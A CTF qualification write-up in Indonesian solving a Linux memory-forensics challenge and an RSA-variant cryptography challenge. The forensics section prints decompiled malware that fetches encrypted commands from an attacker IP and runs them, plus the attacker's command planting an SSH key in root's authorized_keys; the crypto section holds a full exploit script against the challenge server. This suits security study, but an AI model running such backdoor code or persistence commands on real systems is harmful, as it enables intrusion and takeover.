Write-Up Qualification
Gemastik 2025

jay
PapaChicken
fele

Hengker Pemula

DAFTAR ISI

Forensic **2**
[775 pts] hacked 2
Solusi 2
Flag 6
Cryptography **7**
[999 pts] vibes 7
Solusi 7
Flag

Forensic

[775 pts] hacked

Description
Aku memiliki server linux dan sepertinya baru saja dihack... Bantu aku analisis attachment yang kuberikan dan jawab semua pertanyaan yang ada.

Pass: 3a42937cf98baa5dd9a78846f54ae43f
Attachment:
https://drive.google.com/file/d/1dPNJvubVKFbM43w9IPABvn26sDfB12-T/view?usp=sharing

165.232.133.53 9082
Author: daffainfo

Solusi:

Seperti yang sudah tertera di deskripsi soal, attachment yang diberikan merupakan dump memory dari server linux. Kita diberikan 6 pertanyaan untuk mendapatkan flagnya.

Pertanyaan pertama :

```
Question: Repositori yang digunakan threat actor
Format: https://example/path/to/repo
```

Disini yang pertama saya lakukan adalah dump semua strings ke sebuah file supaya size nya tidak terlalu besar, agar tidak crash ketika dibuka di text-editor. Dari pertanyaannya terlihat bahwa ini pasti berasal dari sebuah repository github. Jadi kita bisa langsung mencari string yang mengandung "https://github.com". Kemudian saya menemukan line berikut :
"git clone https://github.com/walawe1337-oss/simple-python-server"
Saya merasa nama repo tersebut cukup aneh dan ternyata memang benar, repo tersebut adalah repo yang digunakan oleh threat actor.

Jawaban 1 : https://github.com/walawe1337-oss/simple-python-server

Pertanyaan kedua :

```
Question: Hash MD5 file yang bersifat malicious (Lower case)
Format: -
```

Terlihat disana diminta hash dari MD5 File, file ini bisa kita temukan melalui repository dari pertanyaan pertama, terlihat bahwa commit terakhir memiliki message “Delete m”, saya langsung mencari log perubahannya dan terlihat disana ada sebuah file dengan ukuran 16.3kb yang dihapus. Selanjutnya saya tinggal download kembali file tersebut, lalu cek hash MD5 file tersebut.

```
~/CTF/gemastik18/qual/foren/soal1
md5sum m
11e128c2bf2f82f4e966a0ec2ff072bb  m
```

Jawaban 2 : 11e128c2bf2f82f4e966a0ec2ff072bb

Pertanyaan ketiga :

```
Question: Key and IV yang digunakan untuk enkripsi
Format: key:iv
```

Langkah selanjutnya adalah saya cek file m tersebut dan ternyata merupakan ELF executable. Saya yakin bahwa ini adalah malware nya dan langsung saja saya decompile memakai ghidra :

Decompile: main - (m)

```
bool main(void)

{
  int iVar1;
  EVP_CIPHER *cipher;
  long in_FS_OFFSET;
  int local_82c;
  int local_828;
  int local_824;
  EVP_CIPHER_CTX *local_820;
  uchar local_818 [1024];
  uchar local_418 [1032];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = get_data_from_server("165.232.133.53",0x3017,local_818,0x400);
  local_828 = iVar1;
  if (0 < iVar1) {
    local_824 = 0;
    local_820 = EVP_CIPHER_CTX_new();
    cipher = EVP_aes_256_cbc();
    EVP_DecryptInit_ex(local_820,cipher,(ENGINE *)0x0,(uchar *)"this_is_my_secret_aes_256_key!!!",
                       (uchar *)"abcdef1234567890");
    EVP_DecryptUpdate(local_820,local_418,&local_82c,local_818,local_828);
    local_824 = local_824 + local_82c;
    EVP_DecryptFinal_ex(local_820,local_418 + local_824,&local_82c);
    local_824 = local_824 + local_82c;
    local_418[local_824] = '\0';
    EVP_CIPHER_CTX_free(local_820);
    system((char *)local_418);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return iVar1 < 1;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

Jadi dapat dilihat bahwa script ini adalah malware berupa remote shell yang terhubung ke IP attacker di 165.232.133.53:12311 yang akan menerima data terenkripsi yang di encrypt dengan AES-CBC dengan key dan iv dapat dilihat di line 23 yaitu : this_is_my_secret_aes_256_key!!! dan abcdef1234567890

Jawaban 3 : this_is_my_secret_aes_256_key!!!:abcdef1234567890

Pertanyaan keempat :

```
Question: IP dan port yang digunakan oleh penyerang
Format: ip:port
```

Pertanyaan ini sudah terjawab dari penjelasan pertanyaan nomor 3 yaitu 165.232.133.53:12311.

Jawaban 4 : 165.232.133.53:12311

Pertanyaan kelima :

```
Question: Perintah yang dieksekusi threat actor (didalam binary)
Format: -
```

Untuk menjawab pertanyaan ini, saya berpikir sebagai seorang attacker, maka langkah pertama yang saya lakukan setelah berhasil mendapatkan shell victimnya adalah memberi izin agar file malware saya dapat dijalankan dan setelah itu saya akan menjalankan malware tersebut. Oleh karena itu disini saya menganalisis line yang berdekatan dengan strings “./m” dan “chmod +x m”.

```
2140535  USER=root
2140536  SHLVL=1
2140537  PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
2140538  SUDO_UID=1000
2140539  MAIL=/var/mail/root
2140540  OLDPWD=/root
2140541  _=./m
2140542  /bin/sh
2140543  OPTIND=1
2140544  IFS=
2140545  PPID=952
2140546  echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUHM+DTrehpFANzpOzDPUJi1DYaK1xwMpMLz1QqwxJ0 kali@kali" >> /root/.ssh/authorized_keys
2140547  echo
2140548  -ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUHM+DTrehpFANzpOzDPUJi1DYaK1xwMpMLz1QqwxJ0 kali@kali
2140549  /root/.ssh/authorized_keys
```

Maka terlihat disana ada perintah " echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUHM+DTrehpFANzpOzDPUJi1DYaK1xwMpMLz1QqwxJ0 kali@kali" >> /root/.ssh/authorized_keys "

Perintah tersebut menambahkan ssh key dari attacker ke dalam file tersebut agar attacker bisa login ke root via SSH menggunakan key mereka tanpa perlu password.

Jawaban 5 :
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICUHM+DTrehpFANzpOzDPUJi1DYaK1xwMpMLz1QqwxJ0 kali@kali" >> /root/.ssh/authorized_keys

Pertanyaan keenam :

Question: Teknik MITRE ATT&CK berdasarkan pertanyaan sebelumnya Format: T12345.123

Kemudian saya mencari terkait "mitre att&ck add ssh key to get root permission" dan menemukan https://attack.mitre.org/techniques/T1098/004/.

Jawaban 6 : T1098.004

Maka kita berhasil mendapatkan flagnya

```
Congrats! Flag: GEMASTIK18{5230e7b97ebd5d1a23d956aae28fbb9d}
```

Flag

GEMASTIK18{5230e7b97ebd5d1a23d956aae28fbb9d}

Cryptography

[999 pts] vibes

Description
I heard vibe coding on CTF is a thing now, so why don't I vibe code to create challs too?

https://chatgpt.com/share/68ac911c-7044-8007-a444-99bce43176a1
nc 20.6.89.33 8055
Author: azuketto

Solusi:

Diberikan kode:

```
import sys, signal
from secrets import randbelow
from math import gcd
from Crypto.Util.number import getPrime, inverse
import random

rbits = lambda x: random.getrandbits(x)
R=12;BITS=1024;M_BITS=5680;TIME=120;GOAT=910
signal.signal(signal.SIGALRM,lambda *_:(print("timeout"),sys.exit(1)))
signal.alarm(TIME)
M1 = randbelow(1<<M_BITS) or 1
ss = []

def one_round(i):
    p,q=getPrime(BITS),getPrime(BITS)
    N=p*q
    a,b,c=rbits(GOAT),rbits(GOAT),rbits(GOAT)
    g=gcd(a, b)
    a//=g
    b//=g
    phi=(p**3-a)*(q**3-b)
    d=getPrime(BITS)
    e=inverse(d,phi)
    f=e*M1+c
    s=randbelow(N-2)
    m2=M1*a+b
    z=pow(s,e*d,N)
```

```
    U1=pow(s+M1*N,e,N*N)
    U2=pow(s+m2*N,d,N*N)
    print(f"=== Round {i}/{R} ===")
    print(f"N = {N}")
    print(f"a/b = {(a * pow(b, -1, N)) % N}")
    print(f"c = {c}")
    print(f"f = {f}")
    print(f"z = {z}")
    print(f"U1 = {U1}")
    print(f"U2 = {U2}")
    ss.append(s)

for i in range(1,R+1):one_round(i)
for i in range(1,R+1):
    g = int(input(f"Enter guess for round {i}/{R} >> "))
    if g == ss[i-1]: print("Nice!")
    else:
        print("Fail!")
        exit(1)
print(open("flag.txt").read().strip())
```

Ada beberapa persamaan yang kita ketahui:

(1) $N = p * q$

(2) $a * b^{-1} \, mod \, N$

(3) $c \, (random)$

(4) $f = e * M1 + c$

(5) $z = s^{e*d} \, mod \, N$

(6) $U1 = (s + M1 * N)^{e} \, mod \, N^2$

(7) $U2 = (s + m2 * N)^{d} \, mod \, N^2$

RECOVER s atau ss[i]

Awalnya saya kebingungan melihat soal ini. Dan saya coba bertanya kepada gemini, bagaimana cara recover s. Kemudian gemini memberikan saya step by stepnya.

P1 = pow(U1, d, N*N)

P1 = (s + M1*N)^(e*d) (mod N*N)

P2 = pow(U2, e, N*N)

P2 = (s + m2*N)^(e*d) (mod N*N)

Lalu kita dapat memakai teorema binomial untuk menguraikan P1 (karena kita bekerja dengan mod N^2, semua suku yang mengandung N^2 otomatis jadi 0 karena habis dibagi N^2

(x + y*N)^k ≡ x^k + k * x^(k-1) * y*N (mod N*N)
Sehingga P1 ≡ s^(e*d) + e*d * s^(e*d - 1) * M1*N (mod N*N)
Selanjutnya, kita akan menghitung L(P1, z), yang didefinisikan sebagai (P1 - z) // N
L(P1, z) = ((s^(e*d) + e*d * s^(e*d-1) * M1*N) - z) // N
L(P1, z) = (s^(e*d) - z) // N + (e*d * s^(e*d-1) * M1*N) // N
L(P1, z) = (s^(e*d) - z) // N + e*d * s^(e*d-1) * M1
Definisikan lagi L(P2, z) sebagai (P2 - z) // N
lakukan langkah yang sama,
L(P2, z) = (s^(e*d) - z) // N + e*d * s^(e*d-1) * m2
Sehingga,
L(P1, z) - L(P2, z) = (e*d * s^(e*d-1) * M1) - (e*d * s^(e*d-1) * m2)
Kita lihat persamaan ini dalam mod N,
L(P1, z) - L(P2, z) ≡ e*d * (s^(e*d) * s⁻¹) * (M1 - m2) (mod N)
L(P1, z) - L(P2, z) ≡ e*d * (z * s⁻¹) * (M1 - m2) (mod N)
s * (L(P1, z) - L(P2, z)) ≡ e*d * z * (M1 - m2) (mod N)
Sehingga,
s=(z·(M1-m2)·e·d·pow(L(P1,z)-L(P2,z),-1,N))(modN)
dimana,
P1 = pow(U1, d, N*N)
P2 = pow(U2, e, N*N)
L(P1, z) = (P1 - z) // N
L(P2, z) = (P2 - z) // N
jadi kita butuh memulihkan M1, m2, e, dan d untuk recover m2, kita butuh a dan b. Sehingga langkah-langkah selanjutnya kita akan memulihkan M1, a, b, m2, e, dan d.

RECOVER M1

Perhatikan persamaan yang ke 4, persamaan itu dapat kita ubah jadi
$(4)\, f_i - c_i = e_i * M1$
Karena setiap nilai e dibuat dari parameter-parameter acak yang unik di tiap ronde, mereka hampir pasti tidak memiliki faktor persekutuan bersama selain 1, sehingga satu-satunya faktor yang tersisa saat di-GCD hanyalah M1, Sehingga, $M1 = gcd(f_i - c_i), untuk\, 1 <= i <= R$
M1 dapat dipulihkan.

RECOVER e

lalu untuk setiap nilai e_i dapat kita pulihkan ketika kita mengetahui M1, f_i, dan c_i.

RECOVER a dan b

Lalu perhatikan persamaan yang ke-2,

$(2)\ a * b^{-1} \bmod N \equiv res$

$a \equiv b * res \bmod N$

$a = b * res + k * N$, *untuk k bilangan bulat*

$a - b * res = k * N$, *untuk k bilangan bulat*

ketika mengerjakan bagian ini, saya teringat sesuatu. bagian ini mirip dengan salah satu problem https://blog.csdn.net/u010883831/article/details/122660103 nomor 6 (Find The Lattice)

Sehingga kita dapat menyusun vektor untuk latticenya

v1=(1,res)

v2=(0,N)

karena $b * v_1 - k * v_2 = (b, b * res - k * N) = (b, a)$

a dan b dapat dipulihkan.

RECOVER m2

karena kita sudah tau M1, a, dan b, kita dapat recover m2 dengan m2 = M1 * a + b

RECOVER d

kita tau persamaan

e*d ≡ 1 (mod φ)

awalannya cukup mirip dengan wiener attack

e * d - k * φ = 1, k bilangan bulat

φ = (p³ - a)(q³ - b)

Nilai a dan b hanya sekitar 910 bit, sementara p³ dan q³ adalah angka sekitar 3072 bit. a dan b hanya pengurang kecil dan kita dapat mengaproksimasikan nilai φ ≈ p³ * q³ = (p*q)³ = N³

Dengan aproksimasi φ ≈ N³, kita bisa kembali ke persamaan awal dan mengganti φ: e * d ≈ k * N³

Jika disusun ulang,

d/k ≈ N^3/e

persamaan ini cukup mirip dengan wiener attack sehingga kita dapat menggunakan ide wiener attack dengan menggunakan continued fractions untuk menemukan d.

Dengan demikian, lengkaplah variabel yang kita butuhkan untuk menemukan s.

Lalu ini script yang saya jalankan.

```
#!/usr/bin/env python3

import re
from math import gcd
from pwn import *
from fpylll import IntegerMatrix, LLL
from Crypto.Util.number import isPrime

# --- Helper Functions ---

def parse_round_data(p, round_num):
    """Parses the output of one round from the server."""
    log.info(f"Parsing round {round_num}/12...")
    data = {}
    p.recvuntil(b"N = ")
    data['N'] = int(p.recvline().strip())
    p.recvuntil(b"a/b = ")
    data['a_div_b'] = int(p.recvline().strip())
    p.recvuntil(b"c = ")
    data['c'] = int(p.recvline().strip())
    p.recvuntil(b"f = ")
    data['f'] = int(p.recvline().strip())
    p.recvuntil(b"z = ")
    data['z'] = int(p.recvline().strip())
    p.recvuntil(b"U1 = ")
    data['U1'] = int(p.recvline().strip())
    p.recvuntil(b"U2 = ")
    data['U2'] = int(p.recvline().strip())
    return data

def recover_a_b(N, rat_val):
    """Recovers a and b from N and a/b mod N using LLL."""
    M = IntegerMatrix(2, 2)
    M[0, 0] = 1
    M[0, 1] = rat_val
    M[1, 1] = N
    LLL.reduction(M)
    # The shortest vector is (b, a) or its negative. a and b are
positive.
    b = abs(M[0][0])
    a = abs(M[0][1])
```

```
    return a, b

def continued_fraction_convergents(num, den):
    """Generates convergents (p/q) of the continued fraction of
num/den."""
    p_prev, q_prev = 0, 1
    p_curr, q_curr = 1, 0
    n, d = num, den
    while d != 0:
        a = n // d
        p_next = a * p_curr + p_prev
        q_next = a * q_curr + q_prev
        yield p_next, q_next
        p_prev, q_prev = p_curr, q_curr
        p_curr, q_curr = p_next, q_next
        n, d = d, n % d

def find_d(N, e):
    """Recovers d using the continued fraction attack (like Wiener's
attack)."""
    # We have d/k ≈ N^3 / e
    num = N**3
    den = e
    for d_cand, k_cand in continued_fraction_convergents(num, den):
        if d_cand == 0 or k_cand == 0:
            continue
        # Check if d is a 1024-bit prime as specified in the challenge
        if d_cand.bit_length() == 1024 and isPrime(d_cand):
            # The first 1024-bit prime found is very likely the correct
one
            return d_cand
    return None

def solve_s(data, M1, a, b, e, d):
    """Calculates the final secret s using all recovered parameters."""
    N, U1, U2, z = data['N'], data['U1'], data['U2'], data['z']
    m2 = M1 * a + b

    # P1 = U1^d mod N^2, P2 = U2^e mod N^2
    P1 = pow(U1, d, N * N)
    P2 = pow(U2, e, N * N)

    # L(X, z) = (X - z) // N
```

```
    L1 = (P1 - z) // N
    L2 = (P2 - z) // N
    L_diff = L1 - L2

    # From the derived identity: s * L_diff ≡ z * (M1 - m2) * e * d
(mod N)
    rhs = (z * (M1 - m2) * e * d) % N
    s = (rhs * pow(L_diff, -1, N)) % N
    return s

# --- Main Script ---

def main():
    """Main function to run the exploit."""
    # Constants
    R = 12
    HOST = "20.6.89.33"
    PORT = 8055

    # Connect and collect data for all rounds
    p = remote(HOST, PORT)
    all_rounds_data = []
    log.info(f"Collecting data for all {R} rounds...")
    for i in range(1, R + 1):
        all_rounds_data.append(parse_round_data(p, i))
    log.success("Data collection complete.")

    # --- Step 1: Recover M1 ---
    log.info("Step 1: Recovering global secret M1 using GCD...")
    f_minus_c_list = [d['f'] - d['c'] for d in all_rounds_data]
    M1 = f_minus_c_list[0]
    for i in range(1, len(f_minus_c_list)):
        M1 = gcd(M1, f_minus_c_list[i])
    log.success(f"M1 recovered (first 30 digits): {str(M1)[:30]}...")

    # --- Solve for each s ---
    solutions = []
    for i, data in enumerate(all_rounds_data):
        round_num = i + 1
        log.info(f"--- Solving Round {round_num}/{R} ---")

        N, a_div_b, c, f, z, U2 = data['N'], data['a_div_b'],
data['c'], data['f'], data['z'], data['U2']
```

```
        # --- Step 2: Recover a, b ---
        log.info(f"[{round_num}] Step 2: Recovering a, b using LLL...")
        a, b = recover_a_b(N, a_div_b)
        log.success(f"[{round_num}] Recovered a and b")

        # --- Step 3: Recover e ---
        log.info(f"[{round_num}] Step 3: Recovering e...")
        e = (f - c) // M1
        log.success(f"[{round_num}] Recovered e")

        # Sanity check: pow(U2 % N, e, N) == z
        log.info(f"[{round_num}] Performing sanity check...")
        if pow(U2 % N, e, N) == z:
            log.success(f"[{round_num}] Sanity check passed!")
        else:
            log.failure(f"[{round_num}] Sanity check failed! This
should not happen. Exiting.")
            exit(1)

        # --- Step 4: Recover d ---
        log.info(f"[{round_num}] Step 4: Recovering d using continued
fractions...")
        d = find_d(N, e)
        if d:
            log.success(f"[{round_num}] Recovered d")
        else:
            log.failure(f"[{round_num}] Failed to recover d! Exiting.")
            exit(1)

        # --- Step 5: Calculate s ---
        log.info(f"[{round_num}] Step 5: Calculating final secret
s...")
        s = solve_s(data, M1, a, b, e, d)
        solutions.append(s)
        log.success(f"[{round_num}] Solution for s found!")

    # --- Submit solutions ---
    log.info("All solutions calculated. Submitting...")
    for i, s in enumerate(solutions):
        p.recvuntil(b">> ")
        p.sendline(str(s).encode())
        log.info(f"Submitted guess for round {i+1}/{R}")
```

```python
        response = p.recvline().strip()
        log.info(f"Server response: {response.decode()}")
        if b"Fail" in response:
            log.failure("Wrong guess. Exiting.")
            p.close()
            exit(1)

    log.success("All guesses were correct!")
    # Read the rest of the output to get the flag
    flag = p.recvall(timeout=2).decode().strip()
    log.success(f"FLAG: {flag}")
    p.close()

if __name__ == "__main__":
    main()
```

```
[+] [12] Sanity check passed!
[*] [12] Step 4: Recovering d using continued fractions...
[+] [12] Recovered d
[*] [12] Step 5: Calculating final secret s...
[+] [12] Solution for s found!
[*] All solutions calculated. Submitting...
[*] Submitted guess for round 1/12
[*] Server response: Nice!
[*] Submitted guess for round 2/12
[*] Server response: Nice!
[*] Submitted guess for round 3/12
[*] Server response: Nice!
[*] Submitted guess for round 4/12
[*] Server response: Nice!
[*] Submitted guess for round 5/12
[*] Server response: Nice!
[*] Submitted guess for round 6/12
[*] Server response: Nice!
[*] Submitted guess for round 7/12
[*] Server response: Nice!
[*] Submitted guess for round 8/12
[*] Server response: Nice!
[*] Submitted guess for round 9/12
[*] Server response: Nice!
[*] Submitted guess for round 10/12
[*] Server response: Nice!
[*] Submitted guess for round 11/12
[*] Server response: Nice!
[*] Submitted guess for round 12/12
[*] Server response: Nice!
[+] All guesses were correct!
[+] Receiving all data: Done (127B)
[*] Closed connection to 20.6.89.33 port 8055
[+] FLAG: GEMASTIK18{i_looped_this_for_1_hour_while_writing_the_chall_https://music.youtube.com/watch?v=eMqWJDP28p8&si=ajzNbLNFm3VFJ51-}
hellow@FelesiaJ:~/crypto$
```

Flag

GEMASTIK18{i_looped_this_for_1_hour_while_writing_the_chall_https://music.youtube.com/watch?v=eMqWJDP28p8&si=ajzNbLNFm3VFJ51-}